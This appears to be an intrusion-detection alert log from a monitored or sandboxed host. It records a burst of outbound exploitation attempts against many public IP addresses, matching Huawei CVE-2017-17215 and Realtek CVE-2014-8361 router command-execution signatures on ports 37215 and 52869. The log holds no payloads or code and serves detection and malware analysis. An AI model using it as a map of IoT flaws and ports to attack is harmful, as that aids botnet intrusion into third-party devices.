07/20/24-23:01:20.110861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43186	37215	192.168.2.23	104.171.59.59
07/20/24-23:01:21.937814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42512	37215	192.168.2.23	157.251.195.250
07/20/24-23:00:59.154067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57256	37215	192.168.2.23	157.43.107.32
07/20/24-23:01:21.951975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60584	37215	192.168.2.23	157.58.18.134
07/20/24-23:01:55.994693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53774	52869	192.168.2.23	210.209.80.73
07/20/24-23:01:04.098080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42398	37215	192.168.2.23	72.213.126.209
07/20/24-23:01:56.001165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60444	52869	192.168.2.23	133.79.190.240
07/20/24-23:01:41.263140	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47540	52869	192.168.2.23	156.42.191.231
07/20/24-23:01:04.601975	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47382	52869	192.168.2.23	87.137.214.123
07/20/24-23:01:58.905147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46932	52869	192.168.2.23	59.213.19.147
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49188	37215	192.168.2.23	41.183.204.254
07/20/24-23:02:12.214887	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44612	52869	192.168.2.23	78.197.203.89
07/20/24-23:00:57.221280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43126	37215	192.168.2.23	197.4.26.126
07/20/24-23:01:45.015200	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46412	52869	192.168.2.23	50.218.167.53
07/20/24-23:01:44.683789	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34530	52869	192.168.2.23	57.222.50.62
07/20/24-23:01:53.099889	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60370	52869	192.168.2.23	81.96.129.112
07/20/24-23:02:11.506914	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36974	52869	192.168.2.23	19.55.206.132
07/20/24-23:01:54.277123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36376	52869	192.168.2.23	18.232.199.152
07/20/24-23:01:02.064358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42284	37215	192.168.2.23	157.197.135.159
07/20/24-23:01:08.683684	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34076	52869	192.168.2.23	206.248.87.37
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50346	37215	192.168.2.23	197.2.142.127
07/20/24-23:01:21.928521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46762	37215	192.168.2.23	197.23.40.145
07/20/24-23:01:44.338159	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55568	52869	192.168.2.23	53.50.131.136
07/20/24-23:01:41.345953	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59176	52869	192.168.2.23	86.18.150.91
07/20/24-23:01:43.890780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48176	52869	192.168.2.23	139.2.152.124
07/20/24-23:01:08.595072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58938	52869	192.168.2.23	166.7.60.196
07/20/24-23:01:08.630327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44926	52869	192.168.2.23	181.219.175.178
07/20/24-23:01:41.416217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43360	52869	192.168.2.23	32.178.44.200
07/20/24-23:01:11.634372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59056	37215	192.168.2.23	41.84.51.227
07/20/24-23:01:04.098080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39918	37215	192.168.2.23	96.102.210.180
07/20/24-23:00:59.194576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59138	37215	192.168.2.23	150.124.88.37
07/20/24-23:01:27.650975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35764	37215	192.168.2.23	222.180.112.139
07/20/24-23:01:42.778303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38944	52869	192.168.2.23	93.78.34.12
07/20/24-23:01:43.266134	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33396	52869	192.168.2.23	219.30.72.57
07/20/24-23:01:56.315740	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50866	52869	192.168.2.23	162.250.126.53
07/20/24-23:01:55.536863	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48960	52869	192.168.2.23	117.131.224.39
07/20/24-23:02:04.592319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49786	52869	192.168.2.23	120.171.198.157
07/20/24-23:01:42.699478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39250	52869	192.168.2.23	165.86.188.195
07/20/24-23:01:01.285840	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52268	52869	192.168.2.23	207.223.182.162
07/20/24-23:01:11.631937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45702	37215	192.168.2.23	197.37.248.61
07/20/24-23:01:42.365783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60722	52869	192.168.2.23	132.173.89.17
07/20/24-23:01:57.655207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47706	52869	192.168.2.23	219.253.193.1
07/20/24-23:01:04.097857	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59062	37215	192.168.2.23	91.108.5.216
07/20/24-23:01:27.649996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42010	37215	192.168.2.23	197.216.112.16
07/20/24-23:01:08.599362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53054	52869	192.168.2.23	161.203.121.55
07/20/24-23:01:31.982478	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59400	37215	192.168.2.23	41.157.201.160
07/20/24-23:01:00.633810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34066	37215	192.168.2.23	91.110.161.158
07/20/24-23:01:05.010861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58646	52869	192.168.2.23	70.148.71.209
07/20/24-23:02:12.234515	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55384	52869	192.168.2.23	202.77.166.232
07/20/24-23:01:47.383355	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44096	52869	192.168.2.23	48.223.177.47
07/20/24-23:01:49.525770	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57812	52869	192.168.2.23	74.81.74.58
07/20/24-23:01:55.409249	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58652	52869	192.168.2.23	90.72.98.132
07/20/24-23:01:53.267115	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54964	52869	192.168.2.23	97.241.192.98
07/20/24-23:01:51.943792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41894	52869	192.168.2.23	210.84.36.218
07/20/24-23:01:11.639230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56502	37215	192.168.2.23	197.161.187.52
07/20/24-23:01:31.329969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47578	52869	192.168.2.23	151.83.163.85
07/20/24-23:01:41.676253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44594	52869	192.168.2.23	49.9.206.193
07/20/24-23:01:08.578727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38080	52869	192.168.2.23	48.69.126.229
07/20/24-23:01:01.831747	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37044	52869	192.168.2.23	117.27.97.229
07/20/24-23:01:58.093784	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49082	52869	192.168.2.23	64.27.46.251
07/20/24-23:01:55.851237	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53532	52869	192.168.2.23	162.200.88.148
07/20/24-23:01:14.366797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33794	52869	192.168.2.23	61.157.174.11
07/20/24-23:01:48.386032	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37672	52869	192.168.2.23	2.166.49.173
07/20/24-23:01:57.747300	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58464	52869	192.168.2.23	171.245.11.17
07/20/24-23:01:01.788008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41078	52869	192.168.2.23	173.195.200.196
07/20/24-23:01:41.404974	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40958	52869	192.168.2.23	63.208.18.63
07/20/24-23:01:44.945183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33778	52869	192.168.2.23	34.82.199.243
07/20/24-23:01:49.352576	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42072	52869	192.168.2.23	93.177.145.85
07/20/24-23:00:57.221048	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36278	37215	192.168.2.23	157.203.14.217
07/20/24-23:01:08.659435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39710	52869	192.168.2.23	25.108.103.192
07/20/24-23:01:49.810143	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37980	52869	192.168.2.23	57.114.247.43
07/20/24-23:01:42.285526	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43896	52869	192.168.2.23	62.203.112.129
07/20/24-23:01:42.322405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35100	52869	192.168.2.23	203.80.83.187
07/20/24-23:01:03.412385	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38334	52869	192.168.2.23	207.112.16.238
07/20/24-23:01:47.912435	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59826	52869	192.168.2.23	94.86.220.196
07/20/24-23:01:48.191657	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39676	52869	192.168.2.23	195.166.157.114
07/20/24-23:00:59.194576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59138	37215	192.168.2.23	150.124.88.37
07/20/24-23:01:20.591863	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46382	52869	192.168.2.23	43.124.104.253
07/20/24-23:01:01.453951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42502	52869	192.168.2.23	155.42.58.223
07/20/24-23:01:34.048618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41346	37215	192.168.2.23	157.167.78.225
07/20/24-23:01:44.648889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56418	52869	192.168.2.23	90.237.72.71
07/20/24-23:01:45.453485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34196	52869	192.168.2.23	49.79.18.186
07/20/24-23:01:04.100971	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49124	37215	192.168.2.23	197.22.178.158
07/20/24-23:01:47.420081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45666	52869	192.168.2.23	139.163.81.215
07/20/24-23:01:49.064169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52738	52869	192.168.2.23	210.209.80.73
07/20/24-23:01:50.313969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48368	52869	192.168.2.23	198.250.155.116
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50466	37215	192.168.2.23	157.246.129.121
07/20/24-23:01:41.258056	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40456	52869	192.168.2.23	96.234.113.72
07/20/24-23:00:57.220899	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40788	37215	192.168.2.23	157.147.238.186
07/20/24-23:01:03.426187	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36012	52869	192.168.2.23	205.187.52.139
07/20/24-23:01:50.370395	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39598	52869	192.168.2.23	206.37.245.255
07/20/24-23:03:46.099099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53088	52869	192.168.2.23	112.255.225.88
07/20/24-23:01:42.164492	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45442	52869	192.168.2.23	106.2.127.68
07/20/24-23:01:27.677519	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44504	37215	192.168.2.23	36.225.241.35
07/20/24-23:01:41.459025	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42738	52869	192.168.2.23	69.239.30.22
07/20/24-23:01:49.170008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60616	52869	192.168.2.23	93.106.207.118
07/20/24-23:01:08.588009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43106	52869	192.168.2.23	104.152.150.214
07/20/24-23:01:42.636583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43652	52869	192.168.2.23	167.4.219.92
07/20/24-23:01:44.252201	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33870	52869	192.168.2.23	207.27.209.75
07/20/24-23:01:46.254249	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40882	52869	192.168.2.23	87.152.13.65
07/20/24-23:01:49.490945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36502	52869	192.168.2.23	110.15.34.17
07/20/24-23:01:48.602356	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44534	52869	192.168.2.23	37.247.244.116
07/20/24-23:02:00.056416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43614	52869	192.168.2.23	147.8.193.70
07/20/24-23:01:02.340273	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45948	52869	192.168.2.23	122.204.212.245
07/20/24-23:01:07.005156	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34400	37215	192.168.2.23	197.82.145.73
07/20/24-23:01:49.387850	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50492	52869	192.168.2.23	48.81.156.141
07/20/24-23:02:11.791090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50920	52869	192.168.2.23	91.117.171.160
07/20/24-23:01:24.885849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55258	37215	192.168.2.23	181.123.95.218
07/20/24-23:02:05.547419	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55264	52869	192.168.2.23	182.119.21.176
07/20/24-23:01:02.095698	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35250	37215	192.168.2.23	99.184.135.95
07/20/24-23:01:02.064358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52358	37215	192.168.2.23	17.67.251.17
07/20/24-23:01:43.206220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37142	52869	192.168.2.23	43.216.241.103
07/20/24-23:01:14.090830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55840	37215	192.168.2.23	41.240.65.224
07/20/24-23:01:27.650643	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59830	37215	192.168.2.23	41.78.192.6
07/20/24-23:01:41.280927	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45798	52869	192.168.2.23	187.89.64.185
07/20/24-23:01:44.856714	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34874	52869	192.168.2.23	109.170.40.38
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56198	37215	192.168.2.23	157.3.230.130
07/20/24-23:01:26.019285	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58760	52869	192.168.2.23	36.125.123.117
07/20/24-23:01:00.651026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38614	37215	192.168.2.23	157.207.43.131
07/20/24-23:01:45.098864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42410	52869	192.168.2.23	174.232.185.220
07/20/24-23:01:58.031141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54370	52869	192.168.2.23	68.209.51.160
07/20/24-23:01:27.668073	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35160	37215	192.168.2.23	197.157.98.132
07/20/24-23:01:14.095462	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55122	37215	192.168.2.23	190.39.12.159
07/20/24-23:01:44.469580	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33848	52869	192.168.2.23	39.189.20.84
07/20/24-23:01:14.105395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42602	37215	192.168.2.23	221.45.252.241
07/20/24-23:01:41.608574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55524	52869	192.168.2.23	208.24.233.14
07/20/24-23:01:44.186066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49882	52869	192.168.2.23	205.136.89.238
07/20/24-23:01:11.828422	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38032	37215	192.168.2.23	157.52.72.38
07/20/24-23:01:08.646615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54664	52869	192.168.2.23	150.181.42.248
07/20/24-23:01:12.888802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52984	52869	192.168.2.23	62.245.86.200
07/20/24-23:01:20.131339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38098	37215	192.168.2.23	157.9.9.217
07/20/24-23:01:44.215876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52906	52869	192.168.2.23	213.139.230.45
07/20/24-23:01:47.934101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42244	52869	192.168.2.23	171.195.37.248
07/20/24-23:01:53.261844	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36204	52869	192.168.2.23	71.66.59.209
07/20/24-23:01:07.075937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45130	37215	192.168.2.23	157.1.231.94
07/20/24-23:01:47.385543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33372	52869	192.168.2.23	196.46.94.209
07/20/24-23:01:49.803911	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58846	52869	192.168.2.23	24.200.205.123
07/20/24-23:01:43.528109	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58076	52869	192.168.2.23	79.130.195.101
07/20/24-23:01:45.048479	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36116	52869	192.168.2.23	147.236.68.25
07/20/24-23:01:42.357440	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56164	52869	192.168.2.23	42.7.66.220
07/20/24-23:01:06.975117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42152	37215	192.168.2.23	157.179.86.20
07/20/24-23:01:44.757783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49426	52869	192.168.2.23	71.205.8.144
07/20/24-23:01:00.634497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41068	37215	192.168.2.23	41.130.229.37
07/20/24-23:01:24.904906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41726	37215	192.168.2.23	197.233.159.133
07/20/24-23:00:57.221748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47728	37215	192.168.2.23	41.6.98.70
07/20/24-23:01:01.805210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55998	52869	192.168.2.23	44.70.248.184
07/20/24-23:02:04.525064	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38412	52869	192.168.2.23	72.19.23.60
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36250	37215	192.168.2.23	187.11.252.34
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42308	37215	192.168.2.23	157.37.182.204
07/20/24-23:01:42.632123	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57086	52869	192.168.2.23	176.127.40.36
07/20/24-23:01:46.241196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60242	52869	192.168.2.23	167.230.66.89
07/20/24-23:01:45.134490	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57054	52869	192.168.2.23	186.231.211.62
07/20/24-23:01:57.346494	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60314	52869	192.168.2.23	143.152.117.80
07/20/24-23:01:20.124696	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33298	37215	192.168.2.23	197.172.242.183
07/20/24-23:01:00.633275	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39114	37215	192.168.2.23	197.196.77.201
07/20/24-23:01:47.108019	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33128	52869	192.168.2.23	124.217.174.35
07/20/24-23:01:41.974742	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60824	52869	192.168.2.23	167.210.235.204
07/20/24-23:01:46.225146	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47758	52869	192.168.2.23	90.202.157.65
07/20/24-23:01:43.141192	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58726	52869	192.168.2.23	48.248.156.6
07/20/24-23:01:12.852602	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41254	52869	192.168.2.23	217.106.167.57
07/20/24-23:01:25.988229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37986	52869	192.168.2.23	61.172.152.113
07/20/24-23:01:58.701160	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42704	52869	192.168.2.23	80.120.36.80
07/20/24-23:01:41.912337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36424	52869	192.168.2.23	32.146.19.98
07/20/24-23:01:58.424201	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57774	52869	192.168.2.23	98.158.142.52
07/20/24-23:01:02.236183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48494	52869	192.168.2.23	124.144.192.144
07/20/24-23:01:24.867858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53214	37215	192.168.2.23	197.131.189.107
07/20/24-23:01:49.456461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51876	52869	192.168.2.23	203.13.28.171
07/20/24-23:01:53.654810	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46434	52869	192.168.2.23	79.113.232.226
